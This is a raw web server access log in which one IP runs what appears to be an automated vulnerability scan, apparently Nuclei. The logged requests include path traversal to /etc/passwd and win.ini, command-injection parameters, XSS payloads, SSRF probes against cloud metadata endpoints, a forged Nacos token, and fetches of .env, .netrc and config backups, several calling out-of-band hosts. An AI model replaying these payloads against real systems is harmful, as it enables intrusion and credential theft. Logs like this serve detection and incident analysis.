[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /stat.jsp?cmd=chcp+437+%7c+dir HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/logon.aspx?replaceCurrent=1&url=https://202.181.208.139:443/ecp HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?redirect=..%2f..%2f..%2f..%2fwindows/win.ini HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/v1/metadata/private-networks HTTP/1.1" 226
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ssf/s/portalLogin HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ajax-api/2.0/preview/mlflow/experiments/get?experiment_id=0 HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jbpm-console/app/tasks.jsf HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexws4/jexws4.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /new/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /s/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /demo HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWebAdmin/ HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.hgignore HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children....4.2.1....json HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /control/userimage.html HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jk-status HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sqlite.db HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/matrix/server HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugin/add HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /minio/login HTTP/1.1" 196
[09/Jan/2026:10:54:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mifs/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /error.txt HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/6 HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /modules/custom.xml HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/V1/store/storeConfigs HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=http/.....///.....///config/config_db.php HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/etc/local.xml.additional HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/json HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /QSA/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /mifs/j_spring_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file=C:%5CWindows%5Cwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms5.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /msa/../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dev/tests/functional/etc/config.xml.dist HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mics/login.jsp HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /authorization.do HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/guestimage.html HTTP/1.1" 199
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pki/images/keyManager_title.ico HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /recent_scans/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/webrpc HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.magnolia/admincentral HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/otgw?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //gql HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hub/login HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.github/workflows/tests.yml HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /qcbin/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /editor_tools/module?type=files/admin\"><script>alert(document.domain)</script>&params=filetype=images HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/luci/ HTTP/1.1" 199
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://100.100.100.200/dynamic/instance-identity/document HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/metadata/instance?api-version=2021-02-01 HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/new HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/latest/meta-data/ HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default/en_US/status.html HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/taskProc?taskId=shortURL&taskEnv=xml&taskContentType=xml&srcURL=https://google.com HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /skin/frontend/default/default/css/styles.css HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/events/search HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /servlet/GetProductVersion HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log/firewall.log HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /actuator/jolokia/read/JMImplementation:type=MBeanServerDelegate/SpecificationVersion HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://aws.oast.online/metadata/v1.json HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /monitorix-cgi/monitorix.cgi?mode=localhost&graph=all&when=1day HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/members-list/admin/view/user.php?page=%22%3E%3Cimg%20src%20onerror=alert(document.domain)%20x HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lang/log/system.log HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /start.html HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /MUP/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /lib/upgrade.txt HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.7z HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /doc/README.txt HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.env.stage HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/openstack/latest HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../WEB-INF/web.xml HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/..%5c..%5c..%5c..%5cetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //ghost.htm HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/computeMetadata/v1/project/ HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webui/?g=sys_dia_data_down&file_name=../../../../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jexinv4/jexinv4.jsp?ppp=type+C%3A%2FWindows%2Fwin.ini HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?Protocol=ActiveSync&Email=pfpckj%40oast.pro&RedirectCount=1 HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini HTTP/1.1" 3426
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /MicroStrategy/servlet/mstrWebAdmin HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Default.aspx?pid=Login HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /jbpm-console/app/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /accounts/login/?next=/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owa/auth/logon.aspx HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /control/userimage.html HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.bz2 HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filter/jmol/js/jsmol/php/jsmol.php?call=saveFile&data=%3Cscript%3Ealert(%27XSS%27)%3C/script%3E&mimetype=text/html HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filter/jmol/js/jsmol/php/jsmol.php?call=getRawDataFromDatabase&query=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mod/lti/auth.php?redirect_uri=javascript:alert('380DIjZpjtmkYHWjs3zOZlkkw5N') HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /setup/ HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mt/admin HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /autodiscover/autodiscover.json?Protocol=ActiveSync&Email=user@domain.tld&RedirectCount=1 HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/jsonws/invoke HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/opc/v1/instance HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /EWS/Exchange.asmx HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.msmtprc HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/v1/metadata/private-networks HTTP/1.1" 226
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jkmanager HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/matrix/client HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.children.json?FNZ.css HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.gz HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927570112 HTTP/1.1" -
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.lz HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.rar HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.save HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php/bbs/index/download?url=/etc/passwd&name=1.txt&local=1 HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iNotes/Forms6.nsf HTTP/1.1" 196
[09/Jan/2026:10:54:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /plugin/customMethod HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.netrc HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db/production.sqlite3 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /explore HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/V1/store/storeViews HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /include/thumb.php?dir=.....///http/.....///config/config_db.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/authportal/bounce.php?url=https://interact.sh/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /minio/webrpc HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET http://169.254.169.254/metadata/v1.json HTTP/1.1" 226
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nacos/v1/auth/users?pageNo=1&pageSize=10&accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OTl9.-isk56R8NfioHVYmpj4oz92nUteNBCN3HRd0-Hfk76g HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /kylin/api/user/authentication HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mt.cgi HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webadmin/start/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nps/servlet/portalservice HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /preview.php/mn71q%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3Ep15vr?cat_id&p=2 HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webadmin/index.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nagiosxi/login.php HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plugins/CoreHome/images/favicon.png HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /browser/ HTTP/1.1" 196
[09/Jan/2026:10:54:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mrtg/ HTTP/1.1" 196
